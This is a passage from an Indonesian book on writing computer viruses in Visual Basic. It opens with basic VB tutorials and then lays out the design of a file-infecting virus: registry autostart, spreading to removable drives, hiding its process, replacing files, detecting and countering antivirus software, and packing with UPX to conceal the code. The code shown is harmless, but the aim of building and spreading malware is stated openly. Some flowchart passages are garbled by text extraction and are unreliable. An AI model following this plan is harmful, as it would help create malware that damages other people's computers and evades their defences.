Anda di halaman 1dari 193

Seni Pemrograman Virus Menggunakan Visual Basic

BAB I
Pemrograman Visual Basic

Dalam Bab ini kita akan mempelajari segala sesuatu


tentang Visual Basic (VB), mungkin yang sudah pernah menjamah
maksudnya menggunakan VB sebagai bahasa pemrograman sehari-
hari dapat melewati bab ini. Karena di sini penulis hanya membahas
dasar-dasar pemrograman visual basic, walaupun ada beberapa sub
bab yang membahas tentang pemrograman API (pemrograman VB
tingkat lanjut).

Pengenalan Visual Basic

Visual basic (VB) merupakan salah satu development tools


yang dibuat oleh Microsoft. VB lebih bersifat fleksibel dibanding
dengan development tools lainnya, mengapa fleksibel? Ya, karena
VB tidak terlalu bergantung terhadap fungsi dari API (Application
Programming Interface) pada Windows. API sudah dimasukkan
oleh Microsoft ke dalam VB sebagai file .dll. VB juga dibuat dengan
Interface yang sangat mudah dipahami, sehingga jika orang awam
atau yang belum mengerti tentang pemrograman, dapat membuat
sebuah project aplikasi yang sederhana. Dengan kata lain interface
VB sangat user friendly.

IDE Visual Basic

Apa sih IDE itu? Kayaknya pernah dengar, hardisk yah?


Yang jelas bukan IDE itu Intergrated Development Environment
atau kalau dibahasa indonesiakan Lingkungan Pengembangan
Aplikasi yang Terintegrasi. Jadi IDE itu adalah sekumpulan alat-alat

1
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

atau aplikasi untuk mendevelop program yang dibuat. IDE dapat


diakses dengan melakukan proses sebagai berikut :

1. Klik tombol , kemudian pilih


, lalu pilih
dan teruskan dengan
mengklik

2. maka akan muncul aplikasi Microsoft Visual Basic 6.0


diawali dengan kotak project baru.

Gambar 1.1 Kotak Project Baru (New Project)

2
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Setelah muncul Project baru, pilih icon yang bertuliskan


Standard.exe seperti yang disorot pada gambar 1.3 ,
kemudian klik tombol open.
4. Maka akan muncul form sbb pada gambar 1.2

Gambar 1.2 Microsoft Visual Basic 6.0

Keterangan dari Visual Basic ada pada gambar berikutnya,


bagi para pembaca yang belum pernah menjamah VB sebaiknya
dicermati gambar satu dengan gambar lainnya (tulisannya juga
lohx!), karena hal ini akan digunakan sebagai dasar pemrograman
virus pada bab selanjutnya.

3
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Gambar 1.3 Penjelasan Tentang IDE VB

Keterangan dari Jendela IDE VB dapat dilihat pada tulisan ini :

• Menu Bar, digunakan untuk memilih tugas-tugas tertentu


seperti menyimpan project, membuka project, dll

4
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

• Main Toolbar, digunakan untuk melakukan tugas-tugas


tertentu dengan cepat.
• Jendela Project, jendela ini berisi gambaran dari semua
modul yang terdapat dalam aplikasi anda. Anda dapat
menggunakan icon Toggle Folders untuk menampilkan
modul-modul dalam jendela tersebut secara di group atau
berurut berdasarkan nama. Anda dapat menggunakan
Ctrl+R untuk menampilkan jendela project, ataupun
menggunakan icon Project Explorer.
• Jendela Form Designer, jendela ini merupakan tempat
anda untuk merancang user interface dari aplikasi anda.
Jadi jendela ini menyerupai kanvas bagi seorang pelukis.
• Jendela Toolbox, jendela ini berisi komponen-komponen
yang dapat anda gunakan untuk mengembangkan user
interface.
• Jendela Code, merupakan tempat bagi anda untuk menulis
koding. Anda dapat menampilkan jendela ini dengan
menggunakan kombinasi Shift-F7.
• Jendela Properties, merupakan daftar properti-properti
object yang sedang terpilih. Sebagai contohnya anda dapat
mengubah warna tulisan (foreground) dan warna
latarbelakang (background). Anda dapat menggunakan F4
untuk menampilkan jendela properti.
• Jendela Color Palette, adalah fasilitas cepat untuk
mengubah warna suatu object.
• Jendela Form Layout, akan menunjukan bagaimana form
bersangkutan ditampilkan ketika runtime

5
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Toolbox
Toolbox adalah jendela yang berisi komponen –
komponen yang akan anda pakai. Anda dapt menambahkan
komponen – komponen itu sendiri dengan mengklik menu Project-
> add component.

Gambar 1.4 Penjelasan Toolbox VB

6
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Menambah Module

Module sendiri kegunaannya dalam Visual Basic untuk


menjalankan kode API (Application Programming Interface) atau
menjalankan fungsi yang telah kita buat. Dalam pemrograman virus,
kita tidak memerlukan interface seperti tombol, textbox, listbox dan
lain –lain. Karena jika kita menggunakan interface tersebut akan
memakan memori yang banyak dan ukuran virus akan menjadi
besar. Padahal etika virus sendiri membuat file sekecil mungkin
tetapi dengan fungsi yang dahsyat. Wah gimana tuh? Sabar yah…
keterangan lebih lanjut baca bab selanjutnya. Untuk menambah
modul lakukan langkah berikut.

1. Klik kanan pada jendela project windows


2. Kemudian akan muncul menu pada gambar di bawah ini :

3. Pilih Add -> Module

7
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Maka pada jendela project window akan muncul module


baru.

8
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Type Variabel
Variabel dalam visual basic berguna untuk menampung suatu
data, contoh variabel a dengan jenis integer harus diisi dengan data
integer, tidak dapat diisi dengan data berjenis string. Berikut ini tabel
jenis variabel dan jangkauan dari jenis tersebut.
Type Ukuran
Jangkuan
Data Storage
Byte 1 byte 0 s/d 255
Boolean 2 byte True atau False
Integer 2 byte -32,768 s/d 32767
Long 4 byte -2,147,483,648 s/d 2,147,483,647
-3.402823E38 s/d -1.401298E-45 (-)
Single 4 byte
1.401298E-45 s/d 3.402823E38 (+)
-1.79769313486232E308 s/d -
Double 8 byte
4.94065645841247E-324 (-)
-922,337,203,685,477.5808 s/d
Currency 8 byte
922,337,203,685,477.5807
+/-
Decimal 14 byte
79,228,162,514,264,337,593,543,950,335
Date 8 byte 1 Januari 100 s/d 31 Desember 9999
Object 4 byte Mengacu pada objek tertentu
String
10 byte +
(panjang 0 sampai lebih kurang 2 milyar
panjang string
variabel)
String
panjang dari
(panjang 1 sampai lebih kurang 65,400
string
tetap)

9
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Variant
Sembarang angka sampai jangkauan jenis
(dengan 16 byte
Double
angka)
Variant
22 byte +
(dengan Sama dengan jangkauan variabel String
panjang string
karakter)
Tabel 1-1 Daftar Type Variabel
Operator Pada Visual Basic dan urutan operasinya
Visual Basic juga menyediakan fungsi untuk aritmetika,
contohnya penambahan, pengurangan, bagi, kali dan lain -lain. Tapi
dalam aritmetika Visual Basic mempunyai urutan prosesnya. Proses
perkalian akan didahulukan dibanding proses lainnya, kecuali jika
pada proses tersebut diberi tanda kurung.
Contoh :
X=4+3*5
Akan menghasilkan 19, karena visual basic mengerjakan
perkalian terlebih dahulu kemudian penambahannya.
Y = (4 + 3) * 5
Akan menghasilkan 35, karena Visual Basic mengerjakan
penambahan (4+3) kemudian dikalikan dengan 5.
Aritmatika Komparasi Logika
Pangkat (^) Sama (=) Not
Negatif (-) Tidak sama (<>) And
Kali dan Bagi (*, /) Kurang dari (<) Or
Pembagian bulat (\) Lebih dari (>) Xor

10
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Kurang dari atau sama


Sisa Bagi (Mod) Eqv
(<=)
Tambah dan Kurang Lebih dari atau sama
Imp
(+,-) (>=)
Pengabungan String (&) Like
Tabel 1-2. Operator pada Visual Basic dan urutan operasi dari
atas ke bawah

Deklarasi Variabel
Pendeklarasian variabel di Visual Basic ada bermacam –
macam pemberlakuan tingkatannya. Misalnya untuk dapat
digunakan oleh seluruh projek harus ditaruh di modul dengan
Keyword public, contoh :
Public dim a as integer
Bila ingin digunakan hanya pada modul, sub atau fungsi
tertentu harus memakai keyword Private, contoh :
Private dim a as integer
Untuk pendeklarasian variabel tingkat Public memerlukan
memori besar, sekali lagi ingat virus harus memerlukan memori
sekecil – kecilnya agar dalam menjalankan proses manipulasinya
tidak membebani hardware menjadi lambat. Tiap pemberian
variabel pada modul harus diawali keyword Option Explicit.
Keyword Digunakan pada
Public Berlaku pada level modul
Private Berlaku pada level modul
Berlaku pada level modul dan
Dim
level procedure

11
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Static Berlaku pada level procedure


Tabel 1-4. Keyword pada deklarasi variabel

Struktur Keputusan
Struktur keputusan yang didukung oleh Visual Basic adalah
sebagai berikut :
If...Then
Gunakan suatu struktur If...Then untuk menjalankan suatu
pernyataan secara kondisional. Anda dapat menggunakan syntax
satu baris ataupun syntax banyak baris :
If kondisi Then pernyataan
atau
If kondisi Then
pernyataan-pernyataan
End If
Kondisi biasanya berupa suatu perbandingan, maupun
ekspresi yang menghasilkan nilai numerik. Visual Basic
menginterpretasikan False sebagai nol (0), dan True sebagai bukan
nol.
If...Then...Else
Gunakan If…Then…Else untuk mendefinisikan beberapa
blok pernyataan yang akan dijalankan salah satu berdasarkan kondisi
yang memenuhi syarat
If kondisi1 Then
[blok pernyataan-1]
[ElseIf kondisi2 Then

12
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

[blok pernyataan-2]] ...


[Else
[blok pernyataan-n]]
End If
Visual Basic awalnya akan mencoba kondisi1. Jika False,
maka Visual Basic akan memeriksa kondisi2, dan seterusnya sampai
menemukan suatu kondisi True untuk dijalankan blok
pernyataannya.
Contoh :
If JlhRec > 0 Then
Posisi = 1
Else
Posisi = 0
End If
Select Case
Visual Basic menyediakan struktur Select Case sebagai
suatu alternatif terhadap If...Then...Else. Suatu Select Case
statement memiliki kemampuan yang sama dengan
If…Then…Else…, tetapi membuat code lebih mudah dibaca.
Struktur Select Case bekerja dengan suatu percobaan
tunggal yang hanya dievaluasi satu kali pada bagian atas struktur.
Visual Basic then membandingkan hasil ekspresi dengan nilai pada
setiap Case didalam struktur tersebut, jika ada yang sesuai, akan
dijalankan blok statement yang sesuai
Select Case ekspresiyangdicoba
[Case ekspresi1
[blokpernyataan-1]]
[Case ekspresi2
[blokpernyataan-2]]

13
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic


[Case Else
[blokpernyataan-n]]
End Select

Struktur Perulangan
Struktur loop memperbolehkan anda untuk melaksanakan
sekelompok baris lebih dari satu kali :
Do...Loop
Gunakan Do loop untuk mengeksekusi suatu blok
statement dengan jumlah perulangan yang tak terhingga, ada
beberapa Do...Loop statement, tetapi masing-masing mengevaluasi
suatu kondisi untuk menentukan apakah melanjutkan eksekusi
Berikut ini adalah statement Do…Loop, yang dijalankan selama
kondisi benar :
Do While condition
statements
Loop
Ketika Visual menjalankan Do loop ini, pertama kali akan
di coba kondisinya, jika kondisi False (zero), akan diloncati semua
statements yang mengikuti kondisi tersebut. Visual Basic akan
menjalankan statements jika kondisi benar dan kembali ke
Do…Loop berikutnya.
Function Faktorial (x)
Dim Hasil As Double
Dim Count As Long
Hasil = 1
count = 2

14
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Do While Count <= x


Hasil = Hasil * count
count = count + 1
Loop
Faktorial = count
End Function
Variasi lain dari statement Do…Loop, yang menjamin
minimal satu kali statement dijalankan :
Do
statements
Loop While condition
Dua variasi yang analog dengan dua contoh sebelumnya
adalah perulangan minimal satu kali. Dan berikut ini adalah berulang
atau tidak sama sekali :
Do Until condition
statements
Loop
Do
statements
Loop Until condition
For...Next
Do loops bekerja dengan baik, ketika anda tidak tahu
berapa bayak kali untuk butuhkan untuk menjalankan statement.
Ketika anda mengetahui harus menjalankan statement sejumlah kali,
bagaimanapun For…Next adalah pilihan yang lebih baik. Tidak
seperti Do Loop, For…loop menggunakan suatu variabel yang
disebut counter yang mana akan bertambah atau berkurang pada
setiap perulangan. Syntaxnya adalah :

15
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

For counter = start To end [Step


increment]
statements
Next [counter]
Argumen counter, start, end, dan increment semuanya adalah
numerik
1. Dalam melakukan For loop, Visual Basic :
2. Menset nilai counter sama dengan start
3. Mencoba apakah counter lebih besar dari end. Jika ya,
Visual Basic meninggalkan looping tersebut.
4. Menjalankan statements tersebut.
5. Menaikkan counter dengan 1 atau dengan nilai step yang
ditentukan
6. Mengulangi langkah 2 sampai 4
Code berikut akan mencetak semua item yang terdapat pada suatu
daftar list.
Private Sub Form_Click ()
Dim I As Integer
For i = 0 To List1.ListCount-1
Print List1.List(I)
Next
End Sub

Struktur Kendali Nested


Anda dapat meletakkan suatu struktur kendali didalam
struktur kendali lainnya, yang dikenal dengan istilah nested. Struktur

16
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

kendali pada Visual Basic dapat nested sebanyak level yang anda
inginkan.

Meninggalkan suatu Struktur Kendali


Statement Exit memperbolehkan anda untuk keluar
langsung dari suatu For loop, Do Loop, syntax untuk statement Exit
adalah sederhana : Exit For dapat muncul sebanyak mungkin dalam
suatu For. Loop, demikian juga Exit Do untuk Do loop.
For counter = start To end [Step
increment]
[statementblock]
[Exit For]
[statementblock]
Next [counter[, counter] [,...]]
Do [{While | Until} condition]
[statementblock]
[Exit Do]
[statementblock]
Loop
Statement Exit Do bekerja pada semua versi syntax Do loop.
Exit For dan Exit Do adalah kadang-kadang perlu untuk keluar dari
suatu loop dengan segera, tanpa melakukan iterasi yang berikutnya.

17
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

BAB III
Membuat Virus Dengan Visual Basic

Persiapan

Untuk membuat suatu program, khususnya program virus,


kita memerlukan perhatian yang lebih (kayak pacaran saja). Tetapi
ada benarnya, mungkin bisa saja ketika sedang asik-asik buat
virus…eee….tiba-tiba temen-temen ngajak keluar…dolan-dolan
sebentar…iya kalo sebentar…yang namanya anak muda jalan-jalan
itu memerlukan waktu lebih dari 3 jam …lo kok bisa? Bisa
saja…saya kan pernah muda…ya tau saja apa yang dilakukan anak-
anak muda kalau kongkow-kongkow (baca :duduk – duduk)
diperempatan. MAS INI BUKU ANAK MUDA ATAU BUKU
TUTORIAL SIH…oh maaf…maaf…sorry…mari kita
lanjutkan..oke sampe mana tadi….o iya untuk membuat suatu virus
perlu konsentrasi yang tinggi…dan harus didukung juga dengan
peralatan komputer yang tidak seadanya.

Komputer

Harus dong…kalo memang sampeyan-sampeyan (baca:


kalian-kalian) yang membaca buku ini belum pernah menjamah
komputer…jangan harap bisa sampai ke bab selanjutnya…hehehehe

18
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

bukan ancaman sih..tapi paling gak sudah pernahlah bergaul dengan


komputer walaupun sampai tingkat Operator. Spesifikasi komputer
minimal apa saja yang digunakan untuk membuat sebuah program
virus dengan Visual Basic ini :

- P III 800Mhz
- RAM 128 MB
- Microsoft Win 98 / XP service Pack 2
- Hardisk 10 GB
- VGA dan Sound Card menyesuaikan.

Tapi direkomendasikan dengan spesifikasi sbb:

- P IV 1 Ghz
- RAM 256 MB
- Microsoft Windows XP service Pack 2
- Hardisk 20 GB
- VGA dan Souncard menyesuaikan.

Mungkin sedikit tambahan, untuk tingkatan orang-orang komputer


itu terbagi sbb:

User/Operator, disini hanya sebagai pengguna program atau


aplikasi yang dibuat oleh seorang programmer. Ya…yang pasti
beliau ini hanya dapat menjalankan aplikasi…kalau aplikasi ngadat
tinggal telpon aja ke bagian IT sambil marah-marah..”Mas ini kok
gak bisa masuk windows kenapa yah?”…akhirnya si bagian IT
datang…mengecek komputer tersebut…”Kenapa yah?”…”Wah
mas-nya gimana sih katanya bagian IT, seharusnya bisa bla bla
bla….!!!” Wah wah kalau udah gini stress aja bawaannya. “Oh
mbak, ini bukan gak bisa masuk windows…tapi disket mbak masih
nyangkut di floppy drive!!!”. “O…gitu ya mas…maaf yah..maaf!”

19
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Yah memang susah jadi bagian IT, sehari minimal kita menerima
sepuluh komplain, seratus makian…memang dasar nasib yah…okeh
lanjutttt…..

Programmer, beliau sebagai ahli pembuat program atau aplikasi


yang ada di perkantoran. Contoh program yang dibuat adalah
program kasir seperti di supermarket-supermarket atau aplikasi yang
ada di perkantoran. Orangnya ditandai dengan kaca mata
tebal..maklum kutu buku (kayak lagu iwan fals)..n biasanya nggak
ngoceh…kecuali programmer gila yang sering nongkrong di depan
kantor saya.

System Analist, orang ini bertugas untuk membuat suatu sistem


yang ada di sebuah perusahaan. Kadang System Analist juga
merangkap sebagai programmer. Jadi sebenarnya pekerjaan System
Analyst hanya menganalisa suatu sistem dan yang menerjemahkan
sistem tersebut menjadi aplikasi atau software komputer itu si
programmer.

Administrator, Bapak yang satu ini kerjanya menjaga jaringan dan


database yang ada di suatu perusahaan. Sebenarnya terbagi dua
macam Administrator yaitu, System Administrator yang bertugas
menjaga jaringan komputer dan Database Administrator yang
menjaga database atau basis data sebuah perusahaan.

Computer Freak, Orang yang menggilai komputer, bisa menjadi


User, Programmer, System Analist dan Administrator. Biasanya
ditandai dengan gejala-gejala kurang waras, pikun, bertingkah aneh-
aneh dan yang jelas sayang banget dengan komputernya sampai
bela-belain gak kencan demi menjaga komputer tercinta (Lho!).

20
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Development Software

Untuk dapat membuat aplikasi virus harus mempunyai


software development. Di sini saya kebetulan menggunakan VB
alias Visual Basic dari Microsoft. Tidak harus gratis yang penting
Legal (lho!). Iya hati-hati sekarang MUI mengeluarkan fatwa bahwa
software bajakan itu haram. Lah lalu bagaimana jika kita tidak kuat
membeli?Padahal kan “Knowledge is Belongs to World” atau Ilmu
Pengetahuan adalah Milik Dunia. Betul itu, ya kalau gak bisa beli
yang legal pakailah software open source. Lah kalau gak bisa
menggunakan software open source gimana? Soalnya dari kecil kita
kan diracuni sama Micro**** Win****. Ya belajarlah dengan
software open source. Lah tapi kan gak ada waktu lagi mas, kita
sudah beranjak dewasa, gak ada lagi waktu untuk belajar. Ya
gunakan CD Writer untuk mengcopy software legal, lalu gunakan
dengan sebaik-baiknya. Kan namanya membajak dong mas? Oh
Nggak…kamu bisa menggunakan development software illegal
untuk mengumpulkan uang kemudian beli lisensinya. Jadi jangan
terjebak dengan suatu fatwa yang akan menjadikan kita sebagai
pahlawan pembodohan (Millis Jasakom). Tapi ya kalau bisa
HINDARI PEMBAJAKAN DAN BELILAH SOFTWARE YANG
BERLISENSI (kalo ada biaya). Hehehehe!

UPX

Apa itu? UPX adalah software untuk packing agar kode


program yang kita buat tidak dapat dilihat atau dibongkar oleh orang
lain, penjelasan UPX ini akan dibahas pada bab selanjutnya, biar
lebih gamblang gitu……..

21
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Cemilan / Winamp / Otak

Nah dua hal ini mungkin bukan suatu yang prinsipil tapi
wajib lah untuk refreshing. Kalau coding terus yah siap-siap saja
mendapat julukan RAJA dari teman-teman alias Rambut Jarang.
Otak juga perlu dipersiapkan untuk dapat fokus ke pemrograman ini.
Paling tidak sudah melakukan pendinginan, seperti meditasi dan
tidak banyak melakukan aktifitas BEJO aka Bengong-bengong
Jorok.

Membuat Algoritma Virus

Membuat algoritma virus sebenarnya gampang-gampang


susah. Tinggal kita sendiri ingin dibawa kemana virus kita ini,
apakah jenis virus worm, virus file, virus macro atau virus boot
sector. Seperti penjelasan di bab sebelumnya tentang jenis-jenis
virus, kita harus dapat memenuhi kriteria dari jenis-jenisnya.
Misalnya, virus worm, berarti kita harus membuat virus yang dapat
menyebar lewat jaringan, atau virus macro, berarti virus kita dapat
menyebar lewat dokumen microsoft word atau virus boot sector mau
tidak mau virus kita harus dapat nongkrong di bootsector, atau
seperti virus yang kita buat ini merupakan virus file, penyebarannya
cukup lewat disket, flashdisk atau dari komputer lain yang memiliki
direktori yang di-sharing. Dan yang pasti dapat memanipulasi
dengan mengganti file berekstensi tertentu menjadi sebuah file virus.

Kriteria Virus yang Dibuat

22
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Virus yang akan kita buat ini mempunyai kriteria sebagai


berikut :

1. Dapat mengecek Sistem Operasi yang terinstall pada


Komputer, apakah itu Win XP, Win 9x, Win 2000 atau Win
NT.
2. Dapat menulis ke file win.ini atau registry.
3. Dapat mengecek keberadaan drive (flashdisk, floppy,dll) .
4. Dapat menyalin file dari komputer yang terinfeksi ke
disket.
5. Dapat mengganti Icon.
6. Dapat menyembunyikan Prosesnya.
7. Dapat mengganti nama dan icon file berekstensi tertentu.
8. Dapat menjalankan dan menghentikan proses sesuai
dengan waktu dan jam yang telah ditetapkan.

Wah…wah, lumayan banyak yah! Agar Virus yang kita buat


dapat memenuhi kriteria di atas, maka harus dibuat algoritma
pemrogramannya. Gampang kok, membuat algoritma itu seperti kita
merencanakan untuk membeli permen di warung. Lho, maksudnya?
Maksudnya seperti ini, misalnya kita ingin membeli permen di
warung, dengan kondisi kita berada di rumah yang warungnya
sendiri berjarak 20 KM dari rumah. Pembaca dapat mengikuti
algoritma seperti di bawah ini. Algoritma di bawah ini hanya contoh.
Ya….sekali lagi contoh jadi bukan sesuatu yang harus dijadikan
acuan. Sebenarnya dapat diambil contoh lain, tapi saya kira contoh
yang seperti ini lebih mudah dimengerti, sehingga dapat masuk ke
sela – sela pikiran anda. (Wah kayak hipnotis aja…). Tapi bener kok,
mengapa harus ada algoritma? Agar program virus yang kita buat
lebih terstruktur, bukan hanya untuk program virus saja, tetapi

23
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

program lain seperti sistem informasi, inventori atau program –


program yang anda buat sebaiknya didahului dengan algoritma dan
flowchart. Memang kadang beberapa programmer yang expert atau
ahli tidak memerlukan algoritma dan flowchart. Tapi saya lebih
menghargai anda untuk menempuh jalan yang lebih panjang tapi
pasti dibanding menempuh jalan pintas tetapi hasilnya tidak pasti.
Oke kita mulai algoritmanya.

Start

Memakai Pakaian

Mengambil Helm
di lemari

Mengecek Dompet
Apakah Cukup Mengambil Duit
Untuk membeli di Tabungan24
Pemrograman Visual
Permen?Basic

Pergi Ke Garasi Untuk


mengambil Motor
Seni Pemrograman Virus Menggunakan Visual Basic

Tidak

Ya

Tidak

Ya

Pergi Ke Warung

25
Pemrograman Visual Basic
Bertanya Ke
Penjual Apakah
permennya ada?
Seni Pemrograman Virus Menggunakan Visual Basic

Tidak

Ya

26
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Sedangkan algoritma dari flowchart di atas dapat dibuat sbb:

1. START
2. Memakai pakaian
3. Mengambil helm di lemari
4. Mengecek dompet apakah cukup untuk membeli
permen
a. Jika ya maka teruskan ke nomor 5
b. Jika tidak ambil di tabungan kemudian ke
nomor 5
5. Pergi ke garasi untuk mengambil motor
6. Cek apakah bensin masih ada
a. Jika ya teruskan ke nomor 7
b. Jika tidak ke pom bensin dulu untuk mengisi
bensin
7. Pergi ke warung
8. Bertanya ke penjual apakah permennya ada

27
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

a. Jika ada ke nomor 9


b. Jika tidak ke nomor 11
9. Bayar permen
10. Nikmati permennya
11. Selesai

Algoritma dan flowchart virus sama dengan contoh


flowchart di atas, hanya tinggal mengganti proses yang
dilakukan.

Start

Mengaktifkan
program virus

Proses infeksi ke
file

28
Pemrograman Visual Basic

Mengecek Tidak Memberi penanda


Apakah file telah
infeksi ke file
diberi penanda
infeksi?
Seni Pemrograman Virus Menggunakan Visual Basic

Proses Manipulasi

29
Pemrograman Visual Basic
Apakah file perlu Tidak
dimanipulasi?

Ya
Seni Pemrograman Virus Menggunakan Visual Basic

30
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Sehingga algoiritma sederhana dari suatu virus dapat


digambarkan sebagai berikut:

1. START
2. Mengaktifkan program virus
3. Proses Infeksi Ke file
4. Mengecek apakah file telah diberi penanda
infeksi?
a. Ya Lanjut ke nomor 5
b. Tidak, Beri penanda dulu kemudian
lanjut ke no 5
5. Melakukan proses pendeteksian AV (Anti Virus)
6. Apakah Komputer ada AV yang aktif?
a. Ya, aktifkan kode pertahanan kemudian
lanjut ke no 7
b. Tidak, Kerjakan perintah no 7
7. Proses Manipulasi

31
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

8. Apakah file perlu dimanipulasi:


a. Ya, kerjakan proses manipulasi
kemudian lanjut ke proses selanjutnya
yaitu nomor 9
b. Tidak Langsung ke nomor 10
9. Manipulasi file berekstensi tertentu
10. Aktifkan kode pertahanan II
11. SELESAI

Algoritma virus di atas tidak menjadi standar pembuatan


virus, mungkin bisa saja algoritma urutan pertama menjadi urutan
ketiga, tergantung maunya si pembuat virus, tetapi dalam buku ini
saya menjadikan algoritma ini sebagai acuan untuk contoh menulis
sebuah virus.

Yang Harus Dipelajari

Untuk membuat virus ada beberapa ilmu yang harus anda


pelajari, mengapa? Karena ilmu ini berhubungan dengan system
yang ada di windows. Sama seperti tubuh manusia, jika kita ingin
meneliti virus influensa, mau tidak mau kita harus menguasai ilmu
sistem respirasi atau pernafasan. Atau ingin meneliti tentang
penyakit stroke mau tidak mau harus mengetahui ilmu yang
berhubungan dengan pembuluh darah atau jantung, betul
gak??(maklum saya bukan anak kedokteran..). Nah kalau di

32
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

komputer kita harus mengenal registry windows dan vbs ( visual


basic script) karena kebanyakan kita akan bermain dengan registry
dan vbs.

Registry Windows

Registry windows???ada yang belum tahu


yah!!!!!Registry windows adalah suatu database untuk menyimpan
dan mengatur sistem di windows. Untuk lebih jelasnya BACA
BUKUNYA!!!Banyak kok, yang jelas kalau bermain-main dengan
registry sangat asyik sekali, bisa-bisa anda terhanyut dan
tenggelam di dalamnya (maaf saya mengutip judul dari pak Tri
Amperiyanto, mohon diizinkan pak, terima kasih). OK…kalau ada
yang belum tau coba klik start -> run -> ketik ‘regedit’ (tanpa tanda
petik). Nah akan muncul jendela seperti gambar di bawah ini :

33
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Registry pada windows terbagi oleh alamat –alamat yang


dilambangkan dengan icon folder. Di dalam registry terbagi 5
alamat utama, yaitu :

- HKEY_CLASSES_ROOT atau biasa disingkat HKCR


- HKEY_CURRENT_USER atau biasa disingkat HKCU
- HKEY_LOCAL_MACHINE atau biasa disingkat HKLM
- HKEY_USERS atau biasa disingkat HKU
- HKEY_CURRENT_CONFIG atau biasa disingkat HKCC

34
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Dan alamat – alamat tersebut, mempunyai fungsi tertentu, misalnya


:

Alamat registry :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\

Berguna untuk menjalankan suatu aplikasi secara otomatis

Alamat registry :
HKEY_CURRENT_USER
\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\

Berguna untuk memanipulasi kode explorer

Alamat registry :
HKEY_LOCAL_MACHINE \Software\Microsoft\Windows NT\CurrentVersion\

Berguna untuk memanipulasi drive penginstalan, Lisensi pada


Windows.

Tiap –tiap alamat terdapat Key yang berisi nilai atau value dari
Key tersebut. Value terbagi 3 jenis yaitu :
- DWORD dengan jenis angka atau integer
- STRING dengan jenis karakter (huruf) atau kalimat
- BINARY dengan jenis angka biner

35
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Sebenarnya ada jenis – jenis lain tetapi jarang dipakai dalam


registry itu sendiri

1: Value Jenis String

36
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2: Value Jenis Dword


3: Value Jenis Biner
4: Key Registry
5: Alamat Registry

Jadi bisa dimisalkan HKLM, HKCU, HKCC, HKCR dan


HKU sebagai drive pada komputer, sedangkan Key yang
dilambangkan icon adalah direktori-nya dan Value adalah file –
filenya…semoga ngerti yah…Kalau penjelasan registry ini
diteruskan bisa menjadi satu buku lagi. Untuk daftar alamat
registry yang lebih lengkap cukup baca saja buku-buku tentang
registry windows yang ada di pasaran.

VBS (Visual Basic Script)

VBScript…wah mahluk apa lagi ini mas?? Belum pernah dengar


tuh….VBScript itu bagian dari WSH (Windows Scripting Host).
Yaitu bahasa scripting yang digunakan programmer web untuk
mengakses script – script yang ada di windows. Sejak populernya
HTML Programming, script-script bermunculan juga untuk
mendukung pengaksesan fungsi pada bahasa pemrograman visual

37
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

ke browser (Internet Explorer, Mozilla, dll). Salah satunya


VBScript (VBS), jadi VBScr…mas mas stop – stop!!…interupsi!!
(kayak DPR aja)…kenapa harus VBScript saya pernah dengar Java
Script, CGI Script, dll…kenapa gak pakek lainnya aja mas??
Begini, selain VBScript atau Visual Basic Script merupakan
turunan dari Visual Basic, VBScript juga lebih mendukung untuk
pembuatan fungsi-fungsi di Windows, karena yang membuat
VBScript itu adalah Microsoft sendiri. Dan syntax atau perintah-
perintah yang digunakan dalam VBS mirip bahkan sama dengan
Visual Basic, sehingga anda akan lebih mudah untuk mempelajari
VBS itu sendiri. Ngerti kan…OK lanjut. Untuk lebih jelasnya mari
kita buat contoh Vbscript sederhana. Ikuti langkah-langkah berikut
:

1. Buka notepad yaitu dengan meng-klik tombol start -> run -


> tulis ‘notepad’ tanpa tanda petik.
2. Kemudian copy source code dibawah ini atau kalau malas
buka file coba.vbs yang ada di CD di direktori kode
pemicu\Metode VBScript.

sub coba
msgbox "Ini Adalah VBScript",0,"COba Coba"
end sub
coba

38
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Kemudian simpan dengan nama coba.vbs


4. Klik file coba.vbs 2 x, apa yang terjadi?

Akan muncul Kotak atau dialog box seperti gambar berikut ini
:

Kesimpulannya dengan menggunakan VBS kita tidak perlu susah –


susah untuk melakukan programming dan meng-compilenya.

